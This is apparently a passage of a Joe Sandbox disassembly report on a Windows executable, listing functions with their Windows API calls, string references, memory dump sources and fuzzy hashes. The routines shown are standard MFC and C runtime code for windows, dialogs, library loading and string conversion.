Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationA$MessageBoxA$user32.dll
API String ID: 2238633743-1612076079
Opcode ID: 9e327152f9d207da8eb992561a812df92acea30e061754a633c313ec85e84a5e
Instruction ID: 84e52e513d7d4be0df6fc3aa4f30dfd75f48eeac0b79a234e46bab85f2138aa6
Opcode Fuzzy Hash: 9e327152f9d207da8eb992561a812df92acea30e061754a633c313ec85e84a5e
Instruction Fuzzy Hash: CA21A7B1A00306ABDB249F659E85FBB3BECDB48740B15103AE945C2250F778D984D7AD

Function 0042B969 Relevance: 19.9, APIs: 13, Instructions: 395stringCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0042B96E
lstrlenA.KERNEL32(?,?,?), ref: 0042B9A8
VariantClear.OLEAUT32(?), ref: 0042BC3B
VariantClear.OLEAUT32(?), ref: 0042BC62
SysFreeString.OLEAUT32(?), ref: 0042BCC6
SysFreeString.OLEAUT32(?), ref: 0042BCDB
SysFreeString.OLEAUT32(?), ref: 0042BCF0
VariantChangeType.OLEAUT32(?,?,00000000,?), ref: 0042BD28
VariantClear.OLEAUT32(?), ref: 0042BD38

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Variant$ClearFreeString$ChangeH_prologTypelstrlen
String ID:
API String ID: 344392101-0
Opcode ID: 089186b2475cb69903ae3bdd73d4d94893396a00b302e6d1bc5308c4256f1ad2
Instruction ID: 7c280d155deaacb0d062ce9fde7c5bc633f2178c496f6d30549a061dd8c1b599
Opcode Fuzzy Hash: 089186b2475cb69903ae3bdd73d4d94893396a00b302e6d1bc5308c4256f1ad2
Instruction Fuzzy Hash: 59E1AE71A00219DFDF10DFA9E880AEEBBB5FF05300F54442AE951A7250D738AD52CFA9

Function 0042166B Relevance: 19.7, APIs: 13, Instructions: 174windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00423CEB: GetWindowLongA.USER32(?,000000F0), ref: 00423CF6

GetParent.USER32(?), ref: 00421696
SendMessageA.USER32(00000000,0000036B,00000000,00000000), ref: 004216B9
GetWindowRect.USER32(?,?), ref: 004216D2
GetWindowLongA.USER32(00000000,000000F0), ref: 004216E5
CopyRect.USER32(?,?), ref: 00421732
CopyRect.USER32(?,?), ref: 0042173C
GetWindowRect.USER32(00000000,?), ref: 00421745
CopyRect.USER32(?,?), ref: 00421761

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Rect$Window$Copy$Long$MessageParentSend
String ID:
API String ID: 808654186-0
Opcode ID: 543d3be195253b833f47fdbe98b0e5ceab59b1d8d68aa360d95ee6028cc7d4e0
Instruction ID: ef626137246b3df9443168ea5854a1867bc10e0d27b41f31f247ff74b2751243
Opcode Fuzzy Hash: 543d3be195253b833f47fdbe98b0e5ceab59b1d8d68aa360d95ee6028cc7d4e0
Instruction Fuzzy Hash: CB518471B00219AFDB10DBA9DD85FEEBBB9AF94314F590126F501F3290D638E9068B58

Function 00415212 Relevance: 16.8, APIs: 11, Instructions: 299COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,00000100,004322C4,00000001,00000000,00000000,004322C8,00000038,0040FB6E,00000100,00000020,00000100,?,00000100,00000000,00000001), ref: 00415239
GetLastError.KERNEL32 ref: 0041524B
MultiByteToWideChar.KERNEL32(?,00000000,0040FE1B,?,00000000,00000000,004322C8,00000038,0040FB6E,00000100,00000020,00000100,?,00000100,00000000,00000001), ref: 004152D2
MultiByteToWideChar.KERNEL32(?,00000001,0040FE1B,?,?,00000000), ref: 00415353
LCMapStringW.KERNEL32(00000000,00000000,?,00000000,00000000,00000000), ref: 0041536D
LCMapStringW.KERNEL32(00000000,00000000,?,00000000,?,?), ref: 004153A8

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: String$ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1775797328-0
Opcode ID: 144a4794a36e381682c1608e6ad5055cd70a4332a4d33170656413dfc46b285a
Instruction ID: 5d6a1a971d9631bc273ea7c0213d5fa4ae4f756ba9487c2342617ad8996632df
Opcode Fuzzy Hash: 144a4794a36e381682c1608e6ad5055cd70a4332a4d33170656413dfc46b285a
Instruction Fuzzy Hash: 26B1AD72800509EFCF119FA1DC859EE7BB6FF48318F14452AF911A22A0D33989A1DF69

Function 0042056E Relevance: 16.6, APIs: 11, Instructions: 120COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00420573
FindResourceA.KERNEL32(?,00000000,00000005), ref: 004205AB
LoadResource.KERNEL32(?,00000000,?,?,?,?,?,?,?,00000064,00000000), ref: 004205B3

Part of subcall function 00421E24: UnhookWindowsHookEx.USER32(?), ref: 00421E49

LockResource.KERNEL32(00000000,?,?,?,?,?,?,?,00000064,00000000), ref: 004205C5
GetDesktopWindow.USER32 ref: 004205F2
IsWindowEnabled.USER32(00000000), ref: 00420600
EnableWindow.USER32(00000000,00000000), ref: 0042060F
EnableWindow.USER32(00000000,00000001), ref: 0042069E
GetActiveWindow.USER32 ref: 004206A9
SetActiveWindow.USER32(00000000,?,?,?,?,?,?,?,?,00000064,00000000), ref: 004206B7
FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000064,00000000), ref: 004206D3

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Window$Resource$ActiveEnable$DesktopEnabledFindFreeH_prologHookLoadLockUnhookWindows
String ID:
API String ID: 833315621-0
Opcode ID: 9c049424f7e73ca1598ba7117b6125b43015b5989c775a291803d269f1ce4c2f
Instruction ID: dca9b540c62fcd184cdbaef0817d1578ed90b02519734c6228dfb65e1cce7a9d
Opcode Fuzzy Hash: 9c049424f7e73ca1598ba7117b6125b43015b5989c775a291803d269f1ce4c2f
Instruction Fuzzy Hash: 79418331B00325DFDB21AFA5E84976EBBF5AF44715F90042EE501B2292CB785942CA6D

Function 0040E812 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 134COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,00431A70,00000060), ref: 0040E832
GetModuleHandleA.KERNEL32(00000000,?,00431A70,00000060), ref: 0040E885
_fast_error_exit.LIBCMT ref: 0040E8E7
_fast_error_exit.LIBCMT ref: 0040E8F8
GetCommandLineA.KERNEL32(?,00431A70,00000060), ref: 0040E917
GetStartupInfoA.KERNEL32(?), ref: 0040E96B
__wincmdln.LIBCMT ref: 0040E971
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 0040E98E

Strings

`#vp,$v, xrefs: 0040E87F

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: HandleModule_fast_error_exit$CommandInfoLineStartupVersion__wincmdln
String ID: `#vp,$v
API String ID: 3897392166-4109723868
Opcode ID: e1bf0c6c10a35e2feaa378b61d2a2dbd1c9d61abde69f1a15ddcab38a1182d4c
Instruction ID: 0bc8d0c747b5be90a239dc1f6fd12c79bdb3a1e517c7b53da2822559ab0157a6
Opcode Fuzzy Hash: e1bf0c6c10a35e2feaa378b61d2a2dbd1c9d61abde69f1a15ddcab38a1182d4c
Instruction Fuzzy Hash: E241B0B1D002109ADB20BF739D456AE77B0AF44718F24883FE415FB2D2DA7C88928B5D

Function 00422CF8 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00422CFD
GetPropA.USER32(?,AfxOldWndProc423), ref: 00422D15
CallWindowProcA.USER32(?,?,00000110,?,00000000), ref: 00422D73

Part of subcall function 004222C8: GetWindowRect.USER32(?,004223EA), ref: 004222ED
Part of subcall function 004222C8: GetWindow.USER32(?,00000004), ref: 0042230A

SetWindowLongA.USER32(?,000000FC,?), ref: 00422DA3
RemovePropA.USER32(?,AfxOldWndProc423), ref: 00422DAB
GlobalFindAtomA.KERNEL32(AfxOldWndProc423), ref: 00422DB2
GlobalDeleteAtom.KERNEL32(00000000), ref: 00422DB9

Part of subcall function 00421338: GetWindowRect.USER32(?,?), ref: 00421344

CallWindowProcA.USER32(?,?,?,?,00000000), ref: 00422E0D

Strings

AfxOldWndProc423, xrefs: 00422D0E, 00422D13, 00422DA9, 00422DB1

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Window$AtomCallGlobalProcPropRect$DeleteFindH_prologLongRemove
String ID: AfxOldWndProc423
API String ID: 2397448395-1060338832
Opcode ID: 42f8192bdfa06c4a61062a92c3b8c52fd31b5a38a69e1511a4050e6997e842b7
Instruction ID: d0d5fd2a95d0caff163bc92c540bc67e825ba57d28d602554495161fd341ab14
Opcode Fuzzy Hash: 42f8192bdfa06c4a61062a92c3b8c52fd31b5a38a69e1511a4050e6997e842b7
Instruction Fuzzy Hash: D0319632A0012ABFDB11AFA5ED49DFF7F78EF09311F80052AF501A1161C7789912DBA9

Function 00421240 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(COMCTL32.DLL,00008000,00000000,00000400,00421C6F,?,00040000), ref: 00421249
LoadLibraryA.KERNEL32(COMCTL32.DLL), ref: 00421252
GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 00421266
#17.COMCTL32 ref: 00421281
#17.COMCTL32 ref: 0042129D
FreeLibrary.KERNEL32(00000000), ref: 004212AA

Strings

COMCTL32.DLL, xrefs: 00421243, 00421248, 0042124F
InitCommonControlsEx, xrefs: 0042125E
`#vp,$v, xrefs: 00421249

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Library$AddressFreeHandleLoadModuleProc
String ID: COMCTL32.DLL$InitCommonControlsEx$`#vp,$v
API String ID: 1437655972-2158789292
Opcode ID: e4adc865601357d86bd5e694327d93582044c89adc3814df3ac42751e02ffd74
Instruction ID: 95cf30dd8ce34ee92b00f566a42e8099b381b461292cc38c6bf4f8d75c531509
Opcode Fuzzy Hash: e4adc865601357d86bd5e694327d93582044c89adc3814df3ac42751e02ffd74
Instruction Fuzzy Hash: 9BF0A936B00222DB97215F66BD4861BB6ECAFA476175504B6F805F3330CB78DC06467D

Function 0042B672 Relevance: 15.2, APIs: 10, Instructions: 181memorystringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,00431060), ref: 0042B6FD

Part of subcall function 004059C0: MultiByteToWideChar.KERNEL32(?,00000000,?,000000FF,?,?), ref: 004059E2

SysAllocString.OLEAUT32(?), ref: 0042B729
lstrlenA.KERNEL32(?,00431060), ref: 0042B741
SysAllocString.OLEAUT32(00000000), ref: 0042B768
lstrlenA.KERNEL32(?,0000F108,?,00000100,004302DC,00431060), ref: 0042B7B6
SysAllocString.OLEAUT32(00000000), ref: 0042B7DF
lstrlenA.KERNEL32(?), ref: 0042B7FF
SysAllocString.OLEAUT32(00000000), ref: 0042B826
lstrlenA.KERNEL32(?), ref: 0042B84F
SysAllocString.OLEAUT32(00000000), ref: 0042B870

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: AllocStringlstrlen$ByteCharMultiWide
String ID:
API String ID: 2903237683-0
Opcode ID: c0277fd87a20140d2149f3f34d2eb646c926a0dbb09a78b738232d21ded5d3b9
Instruction ID: 1a3153decd58b46bd6a0c121a40f0f3a120ecd19db3a4f9c7d82dc57bbc87be9
Opcode Fuzzy Hash: c0277fd87a20140d2149f3f34d2eb646c926a0dbb09a78b738232d21ded5d3b9
Instruction Fuzzy Hash: 54510472A00219EBCB20AF75DC85B9ABBB8FF48354F50452BE915D7281DB38D850CFA4

Function 00420977 Relevance: 15.1, APIs: 10, Instructions: 81stringregistryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0042097C
GetClassInfoA.USER32(?,?,?), ref: 00420997
RegisterClassA.USER32(?), ref: 004209AA
lstrlenA.KERNEL32(-00000034,00000001), ref: 004209E6
lstrlenA.KERNEL32(?), ref: 004209ED

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Classlstrlen$H_prologInfoRegister
String ID:
API String ID: 3690589370-0
Opcode ID: 306c1d9e215d0fabf92add2f6d1187e6e5450e128d1fc0b5e055ba4f64e6dba0
Instruction ID: 71e2a2145aac47898e1f733674852a82c0eca1208d8ef585954345c2e418f862
Opcode Fuzzy Hash: 306c1d9e215d0fabf92add2f6d1187e6e5450e128d1fc0b5e055ba4f64e6dba0
Instruction Fuzzy Hash: E531B171A00229EFDF11DF60ED45AAEBFF4FF08315F504126E805A2251C738DA51CBA9

Function 0041A8B9 Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 228COMMON

Download Yara Rule

APIs

_strcat.LIBCMT ref: 0041A991
_strcat.LIBCMT ref: 0041A9AE
___shr_12.LIBCMT ref: 0041AA77

Strings

1#QNAN, xrefs: 0041A9A5
1#INF, xrefs: 0041A988
1#SNAN, xrefs: 0041A95D
1#IND, xrefs: 0041A977
?, xrefs: 0041A90E

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: _strcat$___shr_12
String ID: 1#IND$1#INF$1#QNAN$1#SNAN$?
API String ID: 1152255961-4131533671
Opcode ID: 1738a10b470dc6ab355d8796a0499abadeee2c3cf96b2aae57927fffe5d3a795
Instruction ID: f879c1e990ddeebbe466094dc5d8ff8bd54ad08b32661d6171e75fd2fa4a4eb8
Opcode Fuzzy Hash: 1738a10b470dc6ab355d8796a0499abadeee2c3cf96b2aae57927fffe5d3a795
Instruction Fuzzy Hash: 8C81367180528A8ECF11CBA8C9447FF7BB4AF15314F09455BD850EB282D37C9695C3AB

Function 00420361 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 172COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00420366
GetSystemMetrics.USER32(0000002A), ref: 0042042A
GlobalLock.KERNEL32(00000000,?,?,?,?), ref: 00420495
CreateDialogIndirectParamA.USER32(?,?,?,Function_0001FDFB,00000000), ref: 004204C4

Strings

MS Shell Dlg, xrefs: 00420434

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: CreateDialogGlobalH_prologIndirectLockMetricsParamSystem
String ID: MS Shell Dlg
API String ID: 2364537584-76309092
Opcode ID: 9646e25077798d77b5deeb05f9c54692e781d64a2f7a8cb0eff1768c936a2d1f
Instruction ID: e5cb62502933813201733bd9fc32693ef396ee62b0366fab134f26ca96ffc902
Opcode Fuzzy Hash: 9646e25077798d77b5deeb05f9c54692e781d64a2f7a8cb0eff1768c936a2d1f
Instruction Fuzzy Hash: F551B431B00229DFCB14EFA5E8459EEBBF4AF44314F94456BF502E7292D7388981CB59

Function 004159C0 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 89COMMON

Download Yara Rule

APIs

_strncpy.LIBCMT ref: 004159F7
_strncpy.LIBCMT ref: 00415A68
_strcspn.LIBCMT ref: 00415A85

Strings

_.,, xrefs: 00415A7F
,, xrefs: 00415A58
_, xrefs: 00415A3B
,, xrefs: 00415A70
., xrefs: 00415A24

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: _strncpy$_strcspn
String ID: ,$,$.$_$_.,
API String ID: 209312476-1893563293
Opcode ID: 2e43a5f81b777912afccb140e69afc6829ec4401cf3e0a016be81a25e8608456
Instruction ID: 094b99d490e66d553d3a6f78acc3330e94534354dd0d36d43b286bc5cd0e5350
Opcode Fuzzy Hash: 2e43a5f81b777912afccb140e69afc6829ec4401cf3e0a016be81a25e8608456
Instruction Fuzzy Hash: 6F216B315C0A06EDEF308A64C881BEB3758AF913E4F584717F8498A281D33CA9C5C79D

Function 00425A8C Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

GetStockObject.GDI32(00000011), ref: 00425AB0
GetStockObject.GDI32(0000000D), ref: 00425AB8
GetObjectA.GDI32(00000000,0000003C,?), ref: 00425AC5
GetDC.USER32(00000000), ref: 00425AD4
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00425AE8
MulDiv.KERNEL32(00000000,00000048,00000000), ref: 00425AF4
ReleaseDC.USER32(00000000,00000000), ref: 00425AFF

Strings

System, xrefs: 00425AAB, 00425B15

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Object$Stock$CapsDeviceRelease
String ID: System
API String ID: 46613423-3470857405
Opcode ID: fe69864a35ea89a40515d5fc80cfd6c8ee3fb8849cac013ddd10af84c3ff34a8
Instruction ID: ffff926d86ea4a8282c210a474db753b18fb332d241bf638c921fd37c398010f
Opcode Fuzzy Hash: fe69864a35ea89a40515d5fc80cfd6c8ee3fb8849cac013ddd10af84c3ff34a8
Instruction Fuzzy Hash: 6B115471B00228EBEB20DFA1ED85FAE7B78AF04744F404125F605A71D0D7B49D42CBA8

Function 0041ACBC Relevance: 13.8, APIs: 9, Instructions: 291COMMON

Download Yara Rule

APIs

CompareStringW.KERNEL32(00000000,00000000,004322C4,00000001,004322C4,00000001,00433B18,00000040,00419FC8,?,00000001,?,00000000,?,00000000,?), ref: 0041ACE8
GetLastError.KERNEL32(?,0000003C,00000000,?,?,0000003C,00000000,?,?,00000018,00000000,?,?,0000016D,00000000,?), ref: 0041ACFA
GetCPInfo.KERNEL32(00000000,00000000,00433B18,00000040,00419FC8,?,00000001,?,00000000,?,00000000,?,^@,004176DC,00000000,00000000), ref: 0041ADA4
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000004,00000000,00000000,?,0000003C,00000000,?,?,0000003C,00000000,?,?,00000018), ref: 0041AE32
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000004,00000190,00000000,?,0000003C,00000000,?,?,0000003C,00000000,?,?,00000018), ref: 0041AEAB
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,?,00000000,00000000,?,0000003C,00000000,?,?,0000003C,00000000,?,?,00000018), ref: 0041AEC8
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,?,?,00000000,?,0000003C,00000000,?,?,0000003C,00000000,?,?,00000018), ref: 0041AF3E

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: ByteCharMultiWide$CompareErrorInfoLastString
String ID:
API String ID: 1773772771-0
Opcode ID: 5a6277f7f7645b34a1ca5d23e9bca92d5f01ef7ed54ed092bd0c7847a4edd101
Instruction ID: f5f744d86d54cd8ca6db1966468d69e19fe399d0adc8f6adef735f185170d353
Opcode Fuzzy Hash: 5a6277f7f7645b34a1ca5d23e9bca92d5f01ef7ed54ed092bd0c7847a4edd101
Instruction Fuzzy Hash: D0B1C471901209AFCF21DF65DC41AEF7BB6EF08354F14012BF811A62A0D73989E5CB9A

Function 0040F55C Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 227COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 0040F614
__allrem.LIBCMT ref: 0040F62C
__allrem.LIBCMT ref: 0040F648
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040F683
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040F69F
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040F6B6

Part of subcall function 004150CA: __lock.LIBCMT ref: 004150E2

Strings

^@, xrefs: 0040F60B, 0040F629, 0040F5DA

Memory Dump Source

Source File: 00000000.00000002.2112269745.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2112253978.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112319985.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112350721.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2112408417.0000000000441000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (233).jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@$__lock
String ID: ^@
